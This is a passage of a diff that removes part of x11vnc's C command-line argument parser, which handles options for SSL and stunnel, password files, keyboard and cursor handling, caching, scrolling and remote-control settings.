- fprintf(stderr, "or x11vnc -sslGenCert client ...\n");
- exit(1);
- }
- ty = argv[i+1];
- if (strcmp(ty, "server") && strcmp(ty, "client")) {
- fprintf(stderr, "Must be:\n");
- fprintf(stderr, " x11vnc -sslGenCert server ...\n");
- fprintf(stderr, "or x11vnc -sslGenCert client ...\n");
- exit(1);
- }
- if (i < argc-2) {
- nm = argv[i+2];
- }
- sslGenCert(ty, nm);
- exit(0);
- continue;
- }
- if (!strcmp(arg, "-sslEncKey")) {
- if (i < argc-1) {
- char *s = argv[i+1];
- sslEncKey(s, 0);
- }
- exit(0);
- continue;
- }
- if (!strcmp(arg, "-sslCertInfo")) {
- if (i < argc-1) {
- char *s = argv[i+1];
- sslEncKey(s, 1);
- }
- exit(0);
- continue;
- }
- if (!strcmp(arg, "-sslDelCert")) {
- if (i < argc-1) {
- char *s = argv[i+1];
- sslEncKey(s, 2);
- }
- exit(0);
- continue;
- }
- if (!strcmp(arg, "-sslScripts")) {
- sslScripts();
- exit(0);
- continue;
- }
- if (!strcmp(arg, "-stunnel")) {
- use_stunnel = 1;
- got_tls = -1000;
- if (i < argc-1) {
- char *s = argv[i+1];
- if (s[0] != '-') {
- if (!strcmp(s, "TMP")) {
- stunnel_pem = NULL;
- } else {
- stunnel_pem = strdup(s);
- }
- i++;
- } else {
- stunnel_pem = strdup("SAVE");
- }
- } else {
- stunnel_pem = strdup("SAVE");
- }
- continue;
- }
- if (!strcmp(arg, "-stunnel3")) {
- use_stunnel = 3;
- got_tls = -1000;
- if (i < argc-1) {
- char *s = argv[i+1];
- if (s[0] != '-') {
- if (!strcmp(s, "TMP")) {
- stunnel_pem = NULL;
- } else {
- stunnel_pem = strdup(s);
- }
- i++;
- } else {
- stunnel_pem = strdup("SAVE");
- }
- } else {
- stunnel_pem = strdup("SAVE");
- }
- continue;
- }
- if (!strcmp(arg, "-https")) {
- https_port_num = 0;
- try_http = 1;
- got_tls++;
- if (i < argc-1) {
- char *s = argv[i+1];
- if (s[0] != '-') {
- https_port_num = atoi(s);
- i++;
- }
- }
- continue;
- }
- if (!strcmp(arg, "-httpsredir")) {
- https_port_redir = -1;
- got_tls++;
- if (i < argc-1) {
- char *s = argv[i+1];
- if (s[0] != '-') {
- https_port_redir = atoi(s);
- i++;
- }
- }
- continue;
- }
- if (!strcmp(arg, "-nopw")) {
- nopw = 1;
- continue;
- }
- if (!strcmp(arg, "-ssh")) {
- CHECK_ARGC
- ssh_str = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-usepw")) {
- usepw = 1;
- continue;
- }
- if (!strcmp(arg, "-storepasswd")) {
- if (argc == i+1) {
- store_homedir_passwd(NULL);
- exit(0);
- }
- if (argc == i+2) {
- store_homedir_passwd(argv[i+1]);
- exit(0);
- }
- if (argc >= i+4 || rfbEncryptAndStorePasswd(argv[i+1],
- argv[i+2]) != 0) {
- perror("storepasswd");
- fprintf(stderr, "-storepasswd failed for file: %s\n",
- argv[i+2]);
- exit(1);
- } else {
- fprintf(stderr, "stored passwd in file: %s\n",
- argv[i+2]);
- exit(0);
- }
- continue;
- }
- if (!strcmp(arg, "-showrfbauth")) {
- if (argc >= i+2) {
- char *f = argv[i+1];
- char *s = rfbDecryptPasswdFromFile(f);
- if (!s) {
- perror("showrfbauth");
- fprintf(stderr, "rfbDecryptPasswdFromFile failed: %s\n", f);
- exit(1);
- }
- fprintf(stdout, "rfbDecryptPasswdFromFile file: %s\n", f);
- fprintf(stdout, "rfbDecryptPasswdFromFile pass: %s\n", s);
- }
- exit(0);
- }
- if (!strcmp(arg, "-accept")) {
- CHECK_ARGC
- accept_cmd = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-afteraccept")) {
- CHECK_ARGC
- afteraccept_cmd = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-gone")) {
- CHECK_ARGC
- gone_cmd = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-noshm")) {
- using_shm = 0;
- continue;
- }
- if (!strcmp(arg, "-flipbyteorder")) {
- flip_byte_order = 1;
- continue;
- }
- if (!strcmp(arg, "-onetile")) {
- single_copytile = 1;
- continue;
- }
- if (!strcmp(arg, "-solid")) {
- use_solid_bg = 1;
- if (i < argc-1) {
- char *s = argv[i+1];
- if (s[0] != '-') {
- solid_str = strdup(s);
- i++;
- }
- }
- if (! solid_str) {
- solid_str = strdup(solid_default);
- }
- continue;
- }
- if (!strcmp(arg, "-blackout")) {
- CHECK_ARGC
- blackout_str = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-xinerama")) {
- xinerama = 1;
- continue;
- }
- if (!strcmp(arg, "-noxinerama")) {
- xinerama = 0;
- continue;
- }
- if (!strcmp(arg, "-xtrap")) {
- xtrap_input = 1;
- continue;
- }
- if (!strcmp(arg, "-xrandr")) {
- xrandr = 1;
- if (i < argc-1) {
- char *s = argv[i+1];
- if (known_xrandr_mode(s)) {
- xrandr_mode = strdup(s);
- i++;
- }
- }
- continue;
- }
- if (!strcmp(arg, "-noxrandr")) {
- xrandr = 0;
- xrandr_maybe = 0;
- got_noxrandr = 1;
- continue;
- }
- if (!strcmp(arg, "-rotate")) {
- CHECK_ARGC
- rotating_str = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-padgeom")
- || !strcmp(arg, "-padgeometry")) {
- CHECK_ARGC
- pad_geometry = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-o") || !strcmp(arg, "-logfile")) {
- CHECK_ARGC
- logfile_append = 0;
- logfile = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-oa") || !strcmp(arg, "-logappend")) {
- CHECK_ARGC
- logfile_append = 1;
- logfile = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-flag")) {
- CHECK_ARGC
- flagfile = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-rmflag")) {
- CHECK_ARGC
- rm_flagfile = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-rc")) {
- i++; /* done above */
- continue;
- }
- if (!strcmp(arg, "-norc")) {
- ; /* done above */
- continue;
- }
- if (!strcmp(arg, "-env")) {
- i++; /* done above */
- continue;
- }
- if (!strcmp(arg, "-prog")) {
- CHECK_ARGC
- if (program_name) {
- free(program_name);
- }
- program_name = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-h") || !strcmp(arg, "-help")) {
- print_help(0);
- continue;
- }
- if (!strcmp(arg, "-?") || !strcmp(arg, "-opts")) {
- print_help(1);
- continue;
- }
- if (!strcmp(arg, "-V") || !strcmp(arg, "-version")) {
- fprintf(stdout, "x11vnc: %s\n", lastmod);
- exit(0);
- continue;
- }
- if (!strcmp(arg, "-license") ||
- !strcmp(arg, "-copying") || !strcmp(arg, "-warranty")) {
- print_license();
- continue;
- }
- if (!strcmp(arg, "-dbg")) {
- crash_debug = 1;
- continue;
- }
- if (!strcmp(arg, "-nodbg")) {
- crash_debug = 0;
- continue;
- }
- if (!strcmp(arg, "-q") || !strcmp(arg, "-quiet")) {
- quiet = 1;
- continue;
- }
- if (!strcmp(arg, "-noquiet")) {
- quiet = 0;
- continue;
- }
- if (!strcmp(arg, "-v") || !strcmp(arg, "-verbose")) {
- verbose = 1;
- continue;
- }
- if (!strcmp(arg, "-bg") || !strcmp(arg, "-background")) {
-#if LIBVNCSERVER_HAVE_SETSID
- bg = 1;
- opts_bg = bg;
-#else
- if (!got_inetd) {
- fprintf(stderr, "warning: -bg mode not supported.\n");
- }
-#endif
- continue;
- }
- if (!strcmp(arg, "-modtweak")) {
- use_modifier_tweak = 1;
- continue;
- }
- if (!strcmp(arg, "-nomodtweak")) {
- use_modifier_tweak = 0;
- got_nomodtweak = 1;
- continue;
- }
- if (!strcmp(arg, "-isolevel3")) {
- use_iso_level3 = 1;
- continue;
- }
- if (!strcmp(arg, "-xkb")) {
- use_modifier_tweak = 1;
- use_xkb_modtweak = 1;
- continue;
- }
- if (!strcmp(arg, "-noxkb")) {
- use_xkb_modtweak = 0;
- got_noxkb = 1;
- continue;
- }
- if (!strcmp(arg, "-capslock")) {
- watch_capslock = 1;
- continue;
- }
- if (!strcmp(arg, "-skip_lockkeys")) {
- skip_lockkeys = 1;
- continue;
- }
- if (!strcmp(arg, "-noskip_lockkeys")) {
- skip_lockkeys = 0;
- continue;
- }
- if (!strcmp(arg, "-xkbcompat")) {
- xkbcompat = 1;
- continue;
- }
- if (!strcmp(arg, "-skip_keycodes")) {
- CHECK_ARGC
- skip_keycodes = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-sloppy_keys")) {
- sloppy_keys++;
- continue;
- }
- if (!strcmp(arg, "-skip_dups")) {
- skip_duplicate_key_events = 1;
- continue;
- }
- if (!strcmp(arg, "-noskip_dups")) {
- skip_duplicate_key_events = 0;
- continue;
- }
- if (!strcmp(arg, "-add_keysyms")) {
- add_keysyms++;
- continue;
- }
- if (!strcmp(arg, "-noadd_keysyms")) {
- add_keysyms = 0;
- continue;
- }
- if (!strcmp(arg, "-clear_mods")) {
- clear_mods = 1;
- continue;
- }
- if (!strcmp(arg, "-clear_keys")) {
- clear_mods = 2;
- continue;
- }
- if (!strcmp(arg, "-clear_all")) {
- clear_mods = 3;
- continue;
- }
- if (!strcmp(arg, "-remap")) {
- CHECK_ARGC
- remap_file = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-norepeat")) {
- no_autorepeat = 1;
- if (i < argc-1) {
- char *s = argv[i+1];
- if (*s == '-') {
- s++;
- }
- if (isdigit((unsigned char) (*s))) {
- no_repeat_countdown = atoi(argv[++i]);
- }
- }
- continue;
- }
- if (!strcmp(arg, "-repeat")) {
- no_autorepeat = 0;
- continue;
- }
- if (!strcmp(arg, "-nofb")) {
- nofb = 1;
- continue;
- }
- if (!strcmp(arg, "-nobell")) {
- watch_bell = 0;
- sound_bell = 0;
- continue;
- }
- if (!strcmp(arg, "-nosel")) {
- watch_selection = 0;
- watch_primary = 0;
- watch_clipboard = 0;
- continue;
- }
- if (!strcmp(arg, "-noprimary")) {
- watch_primary = 0;
- continue;
- }
- if (!strcmp(arg, "-nosetprimary")) {
- set_primary = 0;
- continue;
- }
- if (!strcmp(arg, "-noclipboard")) {
- watch_clipboard = 0;
- continue;
- }
- if (!strcmp(arg, "-nosetclipboard")) {
- set_clipboard = 0;
- continue;
- }
- if (!strcmp(arg, "-seldir")) {
- CHECK_ARGC
- sel_direction = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-cursor")) {
- show_cursor = 1;
- if (i < argc-1) {
- char *s = argv[i+1];
- if (known_cursors_mode(s)) {
- multiple_cursors_mode = strdup(s);
- i++;
- if (!strcmp(s, "none")) {
- show_cursor = 0;
- }
- }
- }
- continue;
- }
- if (!strcmp(arg, "-nocursor")) {
- multiple_cursors_mode = strdup("none");
- show_cursor = 0;
- continue;
- }
- if (!strcmp(arg, "-cursor_drag")) {
- cursor_drag_changes = 1;
- continue;
- }
- if (!strcmp(arg, "-nocursor_drag")) {
- cursor_drag_changes = 0;
- continue;
- }
- if (!strcmp(arg, "-arrow")) {
- CHECK_ARGC
- alt_arrow = atoi(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-xfixes")) {
- use_xfixes = 1;
- continue;
- }
- if (!strcmp(arg, "-noxfixes")) {
- use_xfixes = 0;
- continue;
- }
- if (!strcmp(arg, "-alphacut")) {
- CHECK_ARGC
- alpha_threshold = atoi(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-alphafrac")) {
- CHECK_ARGC
- alpha_frac = atof(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-alpharemove")) {
- alpha_remove = 1;
- continue;
- }
- if (!strcmp(arg, "-noalphablend")) {
- alpha_blend = 0;
- continue;
- }
- if (!strcmp(arg, "-nocursorshape")) {
- cursor_shape_updates = 0;
- continue;
- }
- if (!strcmp(arg, "-cursorpos")) {
- cursor_pos_updates = 1;
- got_cursorpos = 1;
- continue;
- }
- if (!strcmp(arg, "-nocursorpos")) {
- cursor_pos_updates = 0;
- continue;
- }
- if (!strcmp(arg, "-xwarppointer")) {
- use_xwarppointer = 1;
- continue;
- }
- if (!strcmp(arg, "-noxwarppointer")) {
- use_xwarppointer = 0;
- got_noxwarppointer = 1;
- continue;
- }
- if (!strcmp(arg, "-always_inject")) {
- always_inject = 1;
- continue;
- }
- if (!strcmp(arg, "-buttonmap")) {
- CHECK_ARGC
- pointer_remap = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-nodragging")) {
- show_dragging = 0;
- continue;
- }
-#ifndef NO_NCACHE
- if (!strcmp(arg, "-ncache") || !strcmp(arg, "-nc")) {
- if (i < argc-1) {
- char *s = argv[i+1];
- if (s[0] != '-') {
- ncache = atoi(s);
- i++;
- } else {
- ncache = ncache_default;
- }
- } else {
- ncache = ncache_default;
- }
- if (ncache % 2 != 0) {
- ncache++;
- }
- continue;
- }
- if (!strcmp(arg, "-noncache") || !strcmp(arg, "-nonc")) {
- ncache = 0;
- continue;
- }
- if (!strcmp(arg, "-ncache_cr") || !strcmp(arg, "-nc_cr")) {
- ncache_copyrect = 1;
- continue;
- }
- if (!strcmp(arg, "-ncache_no_moveraise") || !strcmp(arg, "-nc_no_moveraise")) {
- ncache_wf_raises = 1;
- continue;
- }
- if (!strcmp(arg, "-ncache_no_dtchange") || !strcmp(arg, "-nc_no_dtchange")) {
- ncache_dt_change = 0;
- continue;
- }
- if (!strcmp(arg, "-ncache_no_rootpixmap") || !strcmp(arg, "-nc_no_rootpixmap")) {
- ncache_xrootpmap = 0;
- continue;
- }
- if (!strcmp(arg, "-ncache_keep_anims") || !strcmp(arg, "-nc_keep_anims")) {
- ncache_keep_anims = 1;
- continue;
- }
- if (!strcmp(arg, "-ncache_old_wm") || !strcmp(arg, "-nc_old_wm")) {
- ncache_old_wm = 1;
- continue;
- }
- if (!strcmp(arg, "-ncache_pad") || !strcmp(arg, "-nc_pad")) {
- CHECK_ARGC
- ncache_pad = atoi(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-debug_ncache")) {
- ncdb++;
- continue;
- }
-#endif
- if (!strcmp(arg, "-wireframe")
- || !strcmp(arg, "-wf")) {
- wireframe = 1;
- if (i < argc-1) {
- char *s = argv[i+1];
- if (*s != '-') {
- wireframe_str = strdup(argv[++i]);
- }
- }
- continue;
- }
- if (!strcmp(arg, "-nowireframe")
- || !strcmp(arg, "-nowf")) {
- wireframe = 0;
- continue;
- }
- if (!strcmp(arg, "-nowireframelocal")
- || !strcmp(arg, "-nowfl")) {
- wireframe_local = 0;
- continue;
- }
- if (!strcmp(arg, "-wirecopyrect")
- || !strcmp(arg, "-wcr")) {
- CHECK_ARGC
- set_wirecopyrect_mode(argv[++i]);
- got_wirecopyrect = 1;
- continue;
- }
- if (!strcmp(arg, "-nowirecopyrect")
- || !strcmp(arg, "-nowcr")) {
- set_wirecopyrect_mode("never");
- continue;
- }
- if (!strcmp(arg, "-debug_wireframe")
- || !strcmp(arg, "-dwf")) {
- debug_wireframe++;
- continue;
- }
- if (!strcmp(arg, "-scrollcopyrect")
- || !strcmp(arg, "-scr")) {
- CHECK_ARGC
- set_scrollcopyrect_mode(argv[++i]);
- got_scrollcopyrect = 1;
- continue;
- }
- if (!strcmp(arg, "-noscrollcopyrect")
- || !strcmp(arg, "-noscr")) {
- set_scrollcopyrect_mode("never");
- continue;
- }
- if (!strcmp(arg, "-scr_area")) {
- int tn;
- CHECK_ARGC
- tn = atoi(argv[++i]);
- if (tn >= 0) {
- scrollcopyrect_min_area = tn;
- }
- continue;
- }
- if (!strcmp(arg, "-scr_skip")) {
- CHECK_ARGC
- scroll_skip_str = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-scr_inc")) {
- CHECK_ARGC
- scroll_good_str = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-scr_keys")) {
- CHECK_ARGC
- scroll_key_list_str = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-scr_term")) {
- CHECK_ARGC
- scroll_term_str = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-scr_keyrepeat")) {
- CHECK_ARGC
- max_keyrepeat_str = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-scr_parms")) {
- CHECK_ARGC
- scroll_copyrect_str = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-fixscreen")) {
- CHECK_ARGC
- screen_fixup_str = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-debug_scroll")
- || !strcmp(arg, "-ds")) {
- debug_scroll++;
- continue;
- }
- if (!strcmp(arg, "-noxrecord")) {
- noxrecord = 1;
- continue;
- }
- if (!strcmp(arg, "-pointer_mode")
- || !strcmp(arg, "-pm")) {
- char *p, *s;
- CHECK_ARGC
- s = argv[++i];
- if ((p = strchr(s, ':')) != NULL) {
- ui_skip = atoi(p+1);
- if (! ui_skip) ui_skip = 1;
- *p = '\0';
- }
- if (atoi(s) < 1 || atoi(s) > pointer_mode_max) {
- if (!got_inetd) {
- rfbLog("pointer_mode out of range 1-%d: %d\n",
- pointer_mode_max, atoi(s));
- }
- } else {
- pointer_mode = atoi(s);
- got_pointer_mode = pointer_mode;
- }
- continue;
- }
- if (!strcmp(arg, "-input_skip")) {
- CHECK_ARGC
- ui_skip = atoi(argv[++i]);
- if (! ui_skip) ui_skip = 1;
- continue;
- }
- if (!strcmp(arg, "-allinput")) {
- all_input = 1;
- continue;
- }
- if (!strcmp(arg, "-noallinput")) {
- all_input = 0;
- continue;
- }
- if (!strcmp(arg, "-input_eagerly")) {
- handle_events_eagerly = 1;
- continue;
- }
- if (!strcmp(arg, "-noinput_eagerly")) {
- handle_events_eagerly = 0;
- continue;
- }
- if (!strcmp(arg, "-speeds")) {
- CHECK_ARGC
- speeds_str = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-wmdt")) {
- CHECK_ARGC
- wmdt_str = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-debug_pointer")
- || !strcmp(arg, "-dp")) {
- debug_pointer++;
- continue;
- }
- if (!strcmp(arg, "-debug_keyboard")
- || !strcmp(arg, "-dk")) {
- debug_keyboard++;
- continue;
- }
- if (!strcmp(arg, "-debug_xdamage")) {
- debug_xdamage++;
- continue;
- }
- if (!strcmp(arg, "-defer")) {
- CHECK_ARGC
- defer_update = atoi(argv[++i]);
- got_defer = 1;
- continue;
- }
- if (!strcmp(arg, "-setdefer")) {
- CHECK_ARGC
- set_defer = atoi(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-wait")) {
- CHECK_ARGC
- waitms = atoi(argv[++i]);
- got_waitms = 1;
- continue;
- }
- if (!strcmp(arg, "-extra_fbur")) {
- CHECK_ARGC
- extra_fbur = atoi(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-wait_ui")) {
- CHECK_ARGC
- wait_ui = atof(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-nowait_bog")) {
- wait_bog = 0;
- continue;
- }
- if (!strcmp(arg, "-slow_fb")) {
- CHECK_ARGC
- slow_fb = atof(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-xrefresh")) {
- CHECK_ARGC
- xrefresh = atof(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-readtimeout")) {
- CHECK_ARGC
- rfbMaxClientWait = atoi(argv[++i]) * 1000;
- continue;
- }
- if (!strcmp(arg, "-ping")) {
- CHECK_ARGC
- ping_interval = atoi(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-nap")) {
- take_naps = 1;
- continue;
- }
- if (!strcmp(arg, "-nonap")) {
- take_naps = 0;
- continue;
- }
- if (!strcmp(arg, "-sb")) {
- CHECK_ARGC
- screen_blank = atoi(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-nofbpm")) {
- watch_fbpm = 1;
- continue;
- }
- if (!strcmp(arg, "-fbpm")) {
- watch_fbpm = 0;
- continue;
- }
- if (!strcmp(arg, "-nodpms")) {
- watch_dpms = 1;
- continue;
- }
- if (!strcmp(arg, "-dpms")) {
- watch_dpms = 0;
- continue;
- }
- if (!strcmp(arg, "-forcedpms")) {
- force_dpms = 1;
- continue;
- }
- if (!strcmp(arg, "-clientdpms")) {
- client_dpms = 1;
- continue;
- }
- if (!strcmp(arg, "-noserverdpms")) {
- no_ultra_dpms = 1;
- continue;
- }
- if (!strcmp(arg, "-noultraext")) {
- no_ultra_ext = 1;
- continue;
- }
- if (!strcmp(arg, "-chatwindow")) {
- chat_window = 1;
- if (argc_vnc + 1 < argc_vnc_max) {
- if (!got_inetd) {
- rfbLog("setting '-rfbversion 3.6' for -chatwindow.\n");
- }
- argv_vnc[argc_vnc++] = strdup("-rfbversion");
- argv_vnc[argc_vnc++] = strdup("3.6");
- }
- continue;
- }
- if (!strcmp(arg, "-xdamage")) {
- use_xdamage++;
- continue;
- }
- if (!strcmp(arg, "-noxdamage")) {
- use_xdamage = 0;
- continue;
- }
- if (!strcmp(arg, "-xd_area")) {
- int tn;
- CHECK_ARGC
- tn = atoi(argv[++i]);
- if (tn >= 0) {
- xdamage_max_area = tn;
- }
- continue;
- }
- if (!strcmp(arg, "-xd_mem")) {
- double f;
- CHECK_ARGC
- f = atof(argv[++i]);
- if (f >= 0.0) {
- xdamage_memory = f;
- }
- continue;
- }
- if (!strcmp(arg, "-sigpipe") || !strcmp(arg, "-sig")) {
- CHECK_ARGC
- if (known_sigpipe_mode(argv[++i])) {
- sigpipe = strdup(argv[i]);
- } else {
- fprintf(stderr, "invalid -sigpipe arg: %s, must"
- " be \"ignore\" or \"exit\"\n", argv[i]);
- exit(1);
- }
- continue;
- }
-#if LIBVNCSERVER_HAVE_LIBPTHREAD
- if (!strcmp(arg, "-threads")) {
-#if defined(X11VNC_THREADED)
- use_threads = 1;
-#else
- if (getenv("X11VNC_THREADED")) {
- use_threads = 1;
- } else if (1) {
- /* we re-enable it due to threaded mode bugfixes. */
- use_threads = 1;
- } else {
- if (!got_inetd) {
- rfbLog("\n");
- rfbLog("The -threads mode is unstable and not tested or maintained.\n");
- rfbLog("It is disabled in the source code. If you really need\n");
- rfbLog("the feature you can reenable it at build time by setting\n");
- rfbLog("-DX11VNC_THREADED in CPPFLAGS. Or set X11VNC_THREADED=1\n");
- rfbLog("in your runtime environment.\n");
- rfbLog("\n");
- usleep(500*1000);
- }
- }
-#endif
- continue;
- }
- if (!strcmp(arg, "-nothreads")) {
- use_threads = 0;
- continue;
- }
-#endif
- if (!strcmp(arg, "-fs")) {
- CHECK_ARGC
- fs_frac = atof(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-gaps")) {
- CHECK_ARGC
- gaps_fill = atoi(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-grow")) {
- CHECK_ARGC
- grow_fill = atoi(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-fuzz")) {
- CHECK_ARGC
- tile_fuzz = atoi(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-debug_tiles")
- || !strcmp(arg, "-dbt")) {
- debug_tiles++;
- continue;
- }
- if (!strcmp(arg, "-debug_grabs")) {
- debug_grabs++;
- continue;
- }
- if (!strcmp(arg, "-debug_sel")) {
- debug_sel++;
- continue;
- }
- if (!strcmp(arg, "-grab_buster")) {
- grab_buster++;
- continue;
- }
- if (!strcmp(arg, "-nograb_buster")) {
- grab_buster = 0;
- continue;
- }
- if (!strcmp(arg, "-snapfb")) {
- use_snapfb = 1;
- continue;
- }
- if (!strcmp(arg, "-rand")) {
- /* equiv. to -nopw -rawfb rand for quick tests */
- raw_fb_str = strdup("rand");
- nopw = 1;
- continue;
- }
- if (!strcmp(arg, "-rawfb")) {
- CHECK_ARGC
- raw_fb_str = strdup(argv[++i]);
- if (strstr(raw_fb_str, "vnc:") == raw_fb_str) {
- shared = 1;
- }
- continue;
- }
- if (!strcmp(arg, "-freqtab")) {
- CHECK_ARGC
- freqtab = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-pipeinput")) {
- CHECK_ARGC
- pipeinput_str = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-macnodim")) {
- macosx_nodimming = 1;
- continue;
- }
- if (!strcmp(arg, "-macnosleep")) {
- macosx_nosleep = 1;
- continue;
- }
- if (!strcmp(arg, "-macnosaver")) {
- macosx_noscreensaver = 1;
- continue;
- }
- if (!strcmp(arg, "-macnowait")) {
- macosx_wait_for_switch = 0;
- continue;
- }
- if (!strcmp(arg, "-macwheel")) {
- CHECK_ARGC
- macosx_mouse_wheel_speed = atoi(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-macnoswap")) {
- macosx_swap23 = 0;
- continue;
- }
- if (!strcmp(arg, "-macnoresize")) {
- macosx_resize = 0;
- continue;
- }
- if (!strcmp(arg, "-maciconanim")) {
- CHECK_ARGC
- macosx_icon_anim_time = atoi(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-macmenu")) {
- macosx_ncache_macmenu = 1;
- continue;
- }
- if (!strcmp(arg, "-macuskbd")) {
- macosx_us_kbd = 1;
- continue;
- }
- if (!strcmp(arg, "-macnoopengl")) {
- macosx_no_opengl = 1;
- continue;
- }
- if (!strcmp(arg, "-macnorawfb")) {
- macosx_no_rawfb = 1;
- continue;
- }
- if (!strcmp(arg, "-gui")) {
- launch_gui = 1;
- if (i < argc-1) {
- char *s = argv[i+1];
- if (*s != '-') {
- gui_str = strdup(s);
- if (strstr(gui_str, "setp")) {
- got_gui_pw = 1;
- }
- i++;
- }
- }
- continue;
- }
- if (!strcmp(arg, "-remote") || !strcmp(arg, "-R")
- || !strcmp(arg, "-r") || !strcmp(arg, "-remote-control")) {
- char *str;
- CHECK_ARGC
- i++;
- str = argv[i];
- if (*str == '-') {
- /* accidental leading '-' */
- str++;
- }
- if (!strcmp(str, "ping")) {
- query_cmd = strdup(str);
- } else {
- remote_cmd = strdup(str);
- }
- if (remote_cmd && strchr(remote_cmd, ':') == NULL) {
- /* interpret -R -scale 3/4 at least */
- if (i < argc-1 && *(argv[i+1]) != '-') {
- int n;
-
- /* it must be the parameter value */
- i++;
- n = strlen(remote_cmd) + strlen(argv[i]) + 2;
-
- str = (char *) malloc(n);
- sprintf(str, "%s:%s", remote_cmd, argv[i]);
- free(remote_cmd);
- remote_cmd = str;
- }
- }
- if (!getenv("QUERY_VERBOSE")) {
- quiet = 1;
- }
- xkbcompat = 0;
- continue;
- }
- if (!strcmp(arg, "-query") || !strcmp(arg, "-Q")) {
- CHECK_ARGC
- query_cmd = strdup(argv[++i]);
- if (!getenv("QUERY_VERBOSE")) {
- quiet = 1;
- }
- xkbcompat = 0;
- continue;
- }
- if (!strcmp(arg, "-query_retries")) {
- char *s;
- CHECK_ARGC
- s = strdup(argv[++i]);
- /* n[:t][/match] */
- if (strchr(s, '/')) {
- char *q = strchr(s, '/');
- query_match = strdup(q+1);
- *q = '\0';
- }
- if (strchr(s, ':')) {
- char *q = strchr(s, ':');
- query_delay = atof(q+1);
- }
- query_retries = atoi(s);
- free(s);
- continue;
- }
- if (!strcmp(arg, "-QD")) {
- CHECK_ARGC
- query_cmd = strdup(argv[++i]);
- query_default = 1;
- continue;
- }
- if (!strcmp(arg, "-sync")) {
- remote_sync = 1;
- continue;
- }
- if (!strcmp(arg, "-nosync")) {
- remote_sync = 0;
- continue;
- }
- if (!strcmp(arg, "-remote_prefix")) {
- CHECK_ARGC
- remote_prefix = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-noremote")) {
- accept_remote_cmds = 0;
- continue;
- }
- if (!strcmp(arg, "-yesremote")) {
- accept_remote_cmds = 1;
- continue;
- }
- if (!strcmp(arg, "-unsafe")) {
- safe_remote_only = 0;
- continue;
- }
- if (!strcmp(arg, "-privremote")) {
- priv_remote = 1;
- continue;
- }
- if (!strcmp(arg, "-safer")) {
- more_safe = 1;
- continue;
- }
- if (!strcmp(arg, "-nocmds")) {
- no_external_cmds = 1;
- continue;
- }
- if (!strcmp(arg, "-allowedcmds")) {
- CHECK_ARGC
- allowed_external_cmds = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-deny_all")) {
- deny_all = 1;
- continue;
- }
- if (!strcmp(arg, "-httpdir")) {
- CHECK_ARGC
- http_dir = strdup(argv[++i]);
- got_httpdir = 1;
- continue;
- }
- if (1) {
- if (!strcmp(arg, "-desktop") && i < argc-1) {
- dt = 1;
- rfb_desktop_name = strdup(argv[i+1]);
- }
- if (!strcmp(arg, "-passwd")) {
- pw_loc = i;
- got_passwd = 1;
- }
- if (!strcmp(arg, "-rfbauth")) {
- got_rfbauth = 1;
- }
- if (!strcmp(arg, "-rfbwait")) {
- got_rfbwait = 1;
- }
- if (!strcmp(arg, "-deferupdate")) {
- got_deferupdate = 1;
- }
- if (!strcmp(arg, "-rfbport") && i < argc-1) {
- got_rfbport = 1;
- if (!strcasecmp(argv[i+1], "prompt")) {
- ;
- } else if (!is_decimal(argv[i+1])) {
- if (!got_inetd) {
- rfbLog("Invalid -rfbport value: '%s'\n", argv[i+1]);
- rfbLog("setting it to '-1' to induce failure.\n");
- argv[i+1] = strdup("-1");
- }
- }
- got_rfbport_str = strdup(argv[i+1]);
- got_rfbport_pos = argc_vnc+1;
- got_rfbport_val = atoi(argv[i+1]);
- }
- if (!strcmp(arg, "-httpport") && i < argc-1) {
- if (!is_decimal(argv[i+1])) {
- rfbLog("Invalid -httpport value: '%s'\n", argv[i+1]);
- clean_up_exit(1);
- }
- }
- if (!strcmp(arg, "-alwaysshared ")) {
- got_alwaysshared = 1;
- }
- if (!strcmp(arg, "-nevershared")) {
- got_nevershared = 1;
- }
